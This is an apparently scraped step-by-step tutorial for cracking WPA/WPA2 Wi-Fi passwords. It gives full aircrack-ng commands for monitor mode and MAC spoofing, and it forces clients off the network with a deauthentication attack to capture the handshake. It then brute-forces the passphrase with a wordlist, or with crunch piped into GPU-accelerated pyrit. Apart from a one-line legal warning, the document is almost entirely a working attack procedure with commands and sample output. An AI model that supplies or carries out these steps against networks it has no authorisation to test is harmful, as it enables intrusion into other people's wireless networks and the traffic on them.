Don't crack any wifi router without authorization; otherwise, you will be put into the jail.
Step 1 :
airmon-ng
The result will be something like :
Interface    Chipset      Driver
wlan0        Intel 5100   iwlagn - [phy0]Step 2 :
airmon-ng start wlan0
Step 3 (Optional) :
Change the mac address of the mon0 interface.
ifconfig mon0 down
macchanger -m 00:11:22:33:44:55 mon0ifconfig mon0 upStep 4 :
airodump-ng mon0
Then, press "
Ctrl+c" to break the program.Step 5 :
airodump-ng -c 3 -w wpacrack --bssid ff:ff:ff:ff:ff:ff --ivs mon0
*where -c is the channel
 -w is the file to be written
--bssid is the BSSID
This terminal is keeping running.
Step 6 :
open another terminal.
aireplay-ng -0 1 -a ff:ff:ff:ff:ff:ff -c 99:88:77:66:55:44 mon0*where -a is the BSSID
-c is the client MAC address (STATION)
Wait for the handshake.
Step 7 :
Use the John the Ripper as word list to crack the WPA/WP2 password.
aircrack-ng -w /pentest/passwords/john/password.lst wpacrack-01.ivsStep 8 (Optional) :
If you do not want to use John the Ripper as word list, you can use Crunch.
Go to the official site of crunch.
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/Download crunch 3.0 (the current version at the time of this writing).
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/crunch-3.0.tgz/downloadtar -xvzf crunch-3.0.tgzcd crunch-3.0makemake install/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | aircrack-ng wpacrack-01.ivs -b ff:ff:ff:ff:ff:ff -w - *where 
8 16 is the length of the password, i.e. from 8 characters to 16 characters.(B) nVidia Display Card with CUDA
If you have nVidia card that with CUDA, you can use pyrit to crack the password with crunch.
Step a :
airmon-ng
The result will be something like :
Interface    Chipset      Driverwlan0        Intel 5100   iwlagn - [phy0]Step b :
airmon-ng start wlan0
Step c (Optional) :
Change the mac address of the mon0 interface.
ifconfig mon0 downmacchanger -m 00:11:22:33:44:55 mon0ifconfig mon0 upStep d :
airodump-ng mon0
Then, press "
Ctrl+c" to break the program.Step e :
airodump-ng -c 3 -w wpacrack --bssid ff:ff:ff:ff:ff:ff mon0
Step f :
open another terminal.
aireplay-ng -0 1 -a ff:ff:ff:ff:ff:ff -c 99:88:77:66:55:44 mon0*where -a is the BSSID
-c is the client MAC address (STATION)
Wait for the handshake.
Step g :
If the following programs are not yet installed, please do it.
apt-get install libghc6-zlib-dev libssl-dev python-dev libpcap-dev python-scapyStep h :
Go to the official site of crunch.
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/Download 
crunch 3.0 (the current version at the time of this writing).http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/crunch-3.0.tgz/downloadtar -xvzf crunch-3.0.tgzcd crunch-3.0makemake installStep i :
Go to the official site of pyrit.
http://code.google.com/p/pyrit/downloads/listDownload 
pyrit and cpyrit-cuda (the current version is 0.4.0 at the time of this writing).tar -xzvf pyrit-0.4.0.tar.gzcd pyrit-0.4.0python setup.py buildsudo python setup.py installtar -xzvf cpyrit-cuda-0.4.0.tar.gzcd cpyrit-cuda-0.4.0python setup.py buildsudo python setup.py installStep j :
/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | pyrit --all-handshakes -r wpacrack-01.cap -b ff:ff:ff:ff:ff:ff -i - attack_passthrough
*where 
8 16 is the length of the password, i.e. from 8 characters to 16 characters.Step k (Optional) :
If you encounter error when reading the 
wpacrack-01.cap, you should do the following step.pyrit -r wpacrack-01.cap -o new.cap stripLive/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | pyrit --all-handshakes -r new.cap -b ff:ff:ff:ff:ff:ff -i - attack_passthrough*where 
8 16 is the length of the password, i.e. from 8 characters to 16 characters.Step l :
Then, you will see something similar to the following.
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.comThis code is distributed under the GNU General Public License v3+
Parsing file 'new.cap' (1/1)...Parsed 71 packets (71 802.11-packets), got 55 AP(s)
Tried 17960898 PMKs so far; 17504 PMKs per second.Remarks :
If you have an nVidia GeForce GTX460 (336 CUDA cores), the speed of cracking is about 17,000 passwords per second.
To test if your wireless card (either USB or PCI-e) can do the injection or not :
airodump-ng mon0
Open another terminal.
aireplay-ng -9 mon0
Make sure pyrit workable on your system :
pyrit list_cores
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